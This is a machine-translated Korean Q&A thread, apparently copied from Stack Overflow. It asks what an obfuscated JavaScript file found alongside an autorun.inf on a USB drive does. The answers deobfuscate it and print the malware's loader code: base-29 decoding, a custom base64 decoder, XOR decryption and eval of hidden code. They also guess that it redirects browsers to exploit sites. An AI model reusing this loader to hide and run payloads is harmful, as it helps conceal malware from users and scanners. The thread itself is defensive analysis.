2013-09-05 3 views
2

그래서 내 친구가 그의 pendrive에이 이상한 코드 조각을 보냈습니다 (컴퓨터에 악성 코드가있을 가능성이 있음). 관심있는 부분은 문제의 코드가 난독 화 된 자바 스크립트 (아마도 취약한 호스트에 감염되었을 가능성이있는 autorun.inf의 난독 화 된 부분)로 작성되었으며 그 옆에 다른 이상한 파일이 없었기 때문입니다 (ClamAV 그의 pendrive에 악성 코드가 발견되지 않음).난독 화 된 자바 스크립트 코드?

도움이된다면 문제의 프로그램은 pendrive의 77 폴더에 있으며 두 개의 복사본 (정확히 동일 함)이 있으며 각 파일은 다소 임의의 파일 이름 (아래 참조)으로되어 있습니다. autorun.inf는 루트에서 분명히 발견됩니다.

누군가는이 코드 조각이 무엇을 나에게 설명 할 수 있습니까? 내가 한 유일한 수정은 jsbeautifier.org를 사용하여이 코드를 들여 쓰는 것입니다 (이전에 한 줄 코드였습니다).

메인 프로그램 (77 /은 & 77/i6a6a.js g66ac.js) : http://pastebin.com/uj0xSV1e

이 Autorun.inf : http://pastebin.com/Aqnmtiq6

미안 해요, 난 이것에 전체 코드를 게시 할 수 없습니다를 주제는 글자 수 제한을 깨기 때문에 pastebin에 넣어야했습니다.

+0

homepage_is_newtabpage, last_prompted_google_url, 유래, 페이스 북과 같은 문자열을 포함하고 있기 때문에 세 번째 스크립트는 일부 스파이 스크립트처럼 보인다. 나는 그것을 통과 할 시간이 없지만, 어떤 코드를 eval()하는 것으로 보인다. –

+1

@ JoeSimmons 당신 말이 맞아요. 첫 번째 실행에서 생성 된 코드에는 eval 함수가 포함되어 있습니다. – schlingel

답변

3

을 그것은이다 답변보다 더 많은 코멘트가 있지만 여기에 대한 코멘트가 길기 때문에 여기에 is :

(function (paramA, paramB, paramC, paramD) { 
    someVar = ""; 
    try { 
     paramB = paramB.replace(/[^A-Z0-9]+/gi, ""), paramB = paramB.split([]), someVar = document; 
    return 
    } catch (e) { 
     for (i = 0; i < paramB.length; i += 2) 
      someVar += String.fromCharCode(paramA(paramB[i] + paramB[i + 1], 29)); 

     String.fromCharCode.constructor(someVar)(paramC, paramD) 
    } 
})(parseInt, string1, string2, string3) 

첫 번째보기 단계는 텍스트를 변경하고 하나의 큰 문자 배열을 만듭니다. 예외가 throw되기 때문에 우리는 계속 반복합니다. 루프는 parseInt를 통해 새로운 문자열을 생성합니다. 배열에서 하나의 char과 다음 char을 가져 와서 기본 29 숫자를 만듭니다.

라인 String.fromCharCode.constructor (someVar) (paramC, paramD);

은 까다 롭습니다. someVar는 JS 코드를 포함하는 문자열이며 constructor 함수로 paramC 및 paramD로 호출되는 익명의 함수를 생성합니다. 그런

코드 생성 외모 :

kPxRViGad8nHNstI$BVr8Lf="";(function(rycgnpqpq,rycgyjqpq,rycggoqpq,rycglpqpq){rycgnpqpq=rycglpqpq(rycgnpqpq),rycgyjqpq=rycglpqpq(rycgyjqpq);try{eval(rycggoqpq("5eb9485dd4a658f8bf9318976cd9832392d4904d",rycgyjqpq))}catch(rycgbsqpq){}})(arguments[0],arguments[1],function(rycgxhqpq,rycgmfqpq){rycgniqpq="";for(rycgqdqpq=0;rycgqdqpq<rycgmfqpq.length;rycgqdqpq++)rycgniqpq+=String.fromCharCode(rycgxhqpq.charCodeAt(rycgqdqpq%rycgxhqpq.length)^rycgmfqpq.charCodeAt(rycgqdqpq));return rycgniqpq},function(rycgunqpq){rycgfyqpq={},rycgunqpq=rycgunqpq.replace(/[^+A-Z0-9\/]+/gi,""),rycguwqpq="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz/=";for(rycgowqpq=0,rycggdqpq=rycguwqpq.length;rycgowqpq<rycggdqpq;rycgowqpq++)rycgfyqpq[rycguwqpq.charAt(rycgowqpq)]=rycgowqpq;rycgdzqpq=[];for(rycgorqpq=0,rycgrfqpq=rycgunqpq.length;rycgorqpq<rycgrfqpq;rycgorqpq+=4)rycguuqpq=(rycgfyqpq[rycgunqpq.charAt(rycgorqpq)]||0)<<18|(rycgfyqpq[rycgunqpq.charAt(1+rycgorqpq)]||0)<<12|(rycgfyqpq[rycgunqpq.charAt(rycgorqpq+2)]||0)<<6|(rycgfyqpq[rycgunqpq.charAt(3+rycgorqpq)]||0),rycgdzqpq.push(rycguuqpq>>16,rycguuqpq>>8&255,rycguuqpq&255);return rycgdzqpq.length-=[0,0,2,1][rycgunqpq.length%4],String.fromCharCode.apply(String,rycgdzqpq)}); 

이 여러 중첩 된 기능입니다. 그것은 궁극적으로 매우 큰 스크립트를 생성하고 평가 내에서 실행합니다. 아주 난독 등

2

그것은 어떤 종류의 실패 - 아마 피싱 또는 랜섬 리디렉션 무언가와 문서를 재 작성하려고하지만 제대로 작동하지 않습니다.

[오브젝트 HTMLDocument의] kPxRViGĥź̒ʝstI $ BF = ""; (functioʜrşnpqpq, rycgyjqpq, rycggoq˘˳ƶ̓Ǔɤ˘˵˘˳ŠÎ̓şǓʞqpq = rycglpqpq (rycgnp˵q) rcǔȪpq = {rycgl˘˵˘˳ł̓gqp˳Ştry 평가 (rycggoqpq ('ƙŀ̭ʜ5dd4a658f8bf9318̭˳˘şź̭̐ɿ392d4̭Ȩʞźƶ̓şǔȪ˵˘˳ŝ} catchł̓şǓł̯˵˘˳ŠÏĉĆŝłĥ̒ǔ ʁƙʟ̯uȪ¯ƶĥ̒ǔ ʁƙʟ̯uɇ¯ƶƷ ʞŠion (rycgwǰ˵˘˳ƶ̓şǓʁƶ˵q) rycǓʞȍ˵˘˴ { ""; 대 (rycǓ˵ż˵˘˴0; ̓cgqdqpq> ̐Ćɢ''ƶ̓guuqpq & 255) rycgdzqpq.lenǔǮǒZuȨƴ, 2ƴɇ ± w̓şǔ ʞ˵˘.lengtǮéʞ¯Ƶ˙̒ȍʞǑǰromCharĈ'żƗǰĥ˘˘ɥŁtrinǑrycgdz˵˘)}) 반환;. 나는 코드로 보면서 몇 가지 조사를 한 적이

+0

어떻게 그것에 왔습니까? – schlingel

+0

어떤 파일을 수정하려고합니까? – m45t3r

+1

소스를 가져 와서 보호 된 샌드 박스에서 스크립트를 실행했습니다. 어떤 파일을 수정하려고하는지 알지 못합니다. 실제로 시도하고 싶은 것은 브라우저를 감염 시도 사이트로 전달하는 것입니다. 브라우저 샌드 박스 규칙은 모든 브라우저에서 작동하지 않는 간단한 스크립팅 트릭을 사용하지 않고도 로컬 파일을 수정하지 못하게하므로 사이트를 공격하고 사용자가 멀웨어 페이로드를 다운로드하기 위해 무언가를 클릭하게하거나 (또는 자바 악용 또는 플래시 악용). – user1329482